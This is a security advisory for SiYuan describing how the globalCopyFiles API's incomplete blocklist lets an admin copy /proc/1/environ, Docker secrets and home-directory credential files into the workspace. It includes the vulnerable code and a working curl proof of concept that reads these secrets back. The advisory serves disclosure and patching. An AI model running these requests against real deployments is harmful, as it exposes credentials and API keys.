Advisory

GHSA-h5vh-m7fg-w5h6

Also known as: CVE-2026-32747, GO-2026-4705

Summary

SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets

Details

Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details
File: kernel/api/file.go - function globalCopyFiles

for i, src := range srcs {
    absSrc, _ := filepath.Abs(src)

    if util.IsSensitivePath(absSrc) {
        return
    }
    srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
    dest := filepath.Join(destDir, filepath.Base(src))
    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace
}

IsSensitivePath blocklist (kernel/util/path.go):

prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets:
| Path | Contains |
|------|----------|
| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |
| /run/secrets/* | Docker Swarm / Compose injected secrets |
| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |
| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |
| /tmp/ | Temporary files including tokens |

PoC
Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'

Docker secrets:

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'

Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-03-16 18:46 UTC
Modified
2026-03-30 13:58 UTC

Affected packages and fixes

github.com/siyuan-note/siyuan/kernel

Go · All systems

Affected

  • introduced 0, last affected 0.0.0-20260313024916-fd6526133bb3 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences